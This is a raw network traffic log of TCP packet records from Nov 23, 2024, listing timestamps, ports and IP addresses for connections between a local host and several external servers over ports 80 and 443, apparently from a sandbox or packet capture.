Nov 23, 2024 15:22:42.261349916 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:42.262088060 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:42.262240887 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:42.262254953 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:42.262263060 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:42.262268066 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:42.264899015 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:42.264935017 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:42.265604973 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:42.265749931 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:42.265769005 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:42.425101995 CET	49865	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:42.425149918 CET	443	49865	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:42.425252914 CET	49865	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:42.425733089 CET	49865	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:42.425765038 CET	443	49865	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:42.536083937 CET	49866	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:42.536122084 CET	443	49866	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:42.536192894 CET	49866	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:42.537175894 CET	49866	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:42.537190914 CET	443	49866	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:42.610227108 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:42.610306025 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:42.882931948 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.003027916 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.329427004 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.329535007 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.329575062 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.329689980 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.331793070 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.331856966 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.331887960 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.332047939 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.340250969 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.340332985 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.340362072 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.340482950 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.348607063 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.348669052 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.348715067 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.348767996 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.357721090 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.357784986 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.357880116 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.357949972 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.365338087 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.365392923 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.365469933 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.365549088 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.453958988 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.454015970 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.454016924 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.454070091 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.456533909 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.456589937 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.456621885 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.456687927 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.465008974 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.465136051 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.465208054 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.473289967 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.473354101 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.473473072 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.473526001 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.481673956 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.481731892 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.481774092 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.481825113 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.490008116 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.490088940 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.530646086 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.530725002 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.530777931 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.531538010 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.534948111 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.535020113 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.536391973 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.536509037 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.536566019 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.544817924 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.544970036 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.544985056 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.545068979 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.553205013 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.553268909 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.553324938 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.553380013 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.561708927 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.561805964 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.561845064 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.561889887 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.570015907 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.570147038 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.570183039 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.570216894 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.578432083 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.578490019 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.580281973 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.580311060 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.580405951 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.584539890 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.584592104 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.584656954 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.584702969 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.591876984 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.591960907 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.591986895 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.592045069 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.599072933 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.599164009 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.599179029 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.599385977 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.606394053 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.606448889 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.606450081 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.606512070 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.636723042 CET	443	49865	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:43.636805058 CET	49865	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:43.638313055 CET	49865	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:43.638344049 CET	443	49865	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:43.638556004 CET	443	49865	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:43.643306971 CET	49865	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:43.643389940 CET	49865	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:43.643403053 CET	443	49865	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:43.655195951 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.655236006 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.655256987 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.655296087 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.658303022 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.658356905 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.658411980 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.658567905 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.664495945 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.664540052 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.664550066 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.664597034 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.670838118 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.670881987 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.670964003 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.671011925 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.676867962 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.676924944 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.676959038 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.677004099 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.683059931 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.683120012 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.683147907 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.683196068 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.689246893 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.689338923 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.689380884 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.689446926 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.695457935 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.695513010 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.695694923 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.701697111 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.701761007 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.701793909 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.701849937 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.707806110 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.707963943 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.714597940 CET	49867	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:43.715614080 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:43.716238022 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:43.716274977 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:43.716773987 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:43.716789007 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:43.717376947 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:43.717778921 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:43.717796087 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:43.718163013 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:43.718188047 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:43.718871117 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:43.719171047 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:43.719186068 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:43.719508886 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:43.719512939 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:43.731940985 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.731997967 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.732033014 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.732073069 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.733599901 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.733675003 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.733710051 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.733859062 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.736994982 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.737050056 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.738212109 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.738272905 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.738379955 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.738548994 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.741655111 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.741754055 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.741811991 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.745043039 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.745099068 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.745198965 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.745249033 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.748514891 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.748627901 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.748699903 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.751941919 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.751997948 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.752057076 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.755347967 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.755415916 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.755448103 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.755502939 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.758755922 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.758855104 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.758914948 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.762149096 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.762231112 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.762315035 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.765542984 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.765651941 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.765716076 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.784142971 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.784261942 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.784461975 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.785870075 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.785939932 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.785965919 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.786024094 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.788496017 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.788636923 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.788705111 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.791816950 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.791873932 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.797580004 CET	443	49866	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:43.797679901 CET	49866	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:43.834213972 CET	80	49867	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:43.834297895 CET	49867	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:43.837224007 CET	49866	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:43.837251902 CET	443	49866	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:43.837551117 CET	443	49866	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:43.856637955 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.856745958 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.856827021 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.858232021 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.858268023 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.858316898 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.858350992 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.861345053 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.861474037 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.861536980 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.864504099 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.864641905 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.864700079 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.867662907 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.867728949 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.867794991 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.870830059 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.870896101 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.870939016 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.870987892 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.874052048 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.874121904 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.874176979 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.877159119 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.877290010 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.877346992 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.880290985 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.880381107 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.880434990 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.881906986 CET	49866	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:43.883358002 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.883392096 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.883440018 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.886178970 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.886303902 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.886379004 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.889020920 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.889121056 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.889192104 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.891755104 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.891807079 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.891819000 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.891855001 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.894413948 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.894479036 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.894522905 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.894576073 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.897001982 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.897166967 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.897234917 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.899740934 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.899816990 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.899879932 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.899934053 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.902328014 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.902391911 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.902461052 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.902513027 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.905014992 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.905145884 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.905203104 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.933209896 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.933248997 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.933335066 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.934150934 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.934214115 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.934288025 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.934339046 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.936306953 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.936439991 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.936512947 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.938344002 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.938407898 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.938477039 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.938529968 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.939666033 CET	49867	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:43.940395117 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.940526009 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.940606117 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.942481995 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.942543030 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.942600012 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.942653894 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.944529057 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.944653034 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.944729090 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.946636915 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.946691990 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.946701050 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.946741104 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.948682070 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.948792934 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.948867083 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.950752974 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.950815916 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.950845003 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.950890064 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.952866077 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.952923059 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.952991009 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.954871893 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.954933882 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.954982996 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.955034018 CET	49852	80	192.168.2.4	185.215.113.206
